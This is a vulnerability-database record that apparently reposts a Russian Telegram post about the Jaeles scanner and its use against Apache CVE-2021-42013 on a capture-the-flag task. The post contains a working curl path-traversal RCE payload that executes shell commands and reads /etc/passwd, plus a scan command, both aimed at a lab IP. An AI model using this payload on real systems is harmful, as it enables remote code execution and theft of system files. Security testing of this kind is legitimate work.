{"uuid": "40c6d439-8524-417c-996e-c3d7fb648434", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-42013", "type": "published-proof-of-concept", "source": "https://t.me/pt_soft/147", "content": "\u2699\ufe0f Jaeles beta-v0.17.1\n\n\u041c\u043e\u0449\u043d\u044b\u0439, \u0433\u0438\u0431\u043a\u0438\u0439 \u0438 \u043b\u0435\u0433\u043a\u043e \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u043c\u044b\u0439 framework, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 Go \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u043a\u0430\u043d\u0435\u0440\u0430 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439. \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 .yaml \u0448\u0430\u0431\u043b\u043e\u043d\u0430\u043c\u0438 \u0438 \u0447\u0435\u043c \u0442\u043e \u043f\u043e\u0445\u043e\u0436 \u043d\u0430 nuclei.\n\n\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430:\ngo install github.com/jaeles-project/jaeles@latest\n\n\u0421\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0435 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0438 \u0437\u0434\u0435\u0441\u044c\n\n\u0420\u0435\u043f\u043e \u0441 \u0433\u043e\u0442\u043e\u0432\u044b\u043c\u0438 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u0430\u043c\u0438:\nhttps://github.com/jaeles-project/jaeles-signatures\n\n\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440:\njaeles config init\n\n\u041a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435 \u044f \u0440\u0435\u0448\u0438\u043b \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043b\u0438\u0447\u043d\u043e, \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u043b \u0448\u0430\u0431\u043b\u043e\u043d \u043f\u043e\u0434 RCE \u0434\u043b\u044f \u0432\u0435\u0431 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 Apache 2.4.49-50\n\u0415\u0441\u0442\u044c \u0442\u0430\u0441\u043a \u043d\u0430 codeby.games \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c. \u041d\u0430 \u043d\u0435\u043c \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c.\n\n\u0417\u0430\u043f\u0440\u043e\u0441 curl'\u043e\u043c \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:\ncurl 'http://62.173.140.174:10009/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' --data 'echo Content-Type: text/plain; echo; id && cat /etc/passwd'\n\n\u0428\u0430\u0431\u043b\u043e\u043d \u043f\u043e\u043b\u043e\u0436\u0443 \u0432 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438.\n\n\u0417\u0430\u043f\u0443\u0441\u043a:\n./jaeles scan -s '~/.jaeles/base-signatures/cves/apache-rce-cve-2021-42013*' -u 'http://62.173.140.174:10009' -v\n\n\u041a\u043b\u0430\u0434\u0435\u043c \u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 \u0438 \u0434\u0435\u043b\u0430\u0435\u043c ./jaeles config init\n\n#jaeles #webpentest #pentest #golang\n\n// Pentest HaT \ud83c\udfa9", "creation_timestamp": "2023-11-15T12:41:36.000000Z"}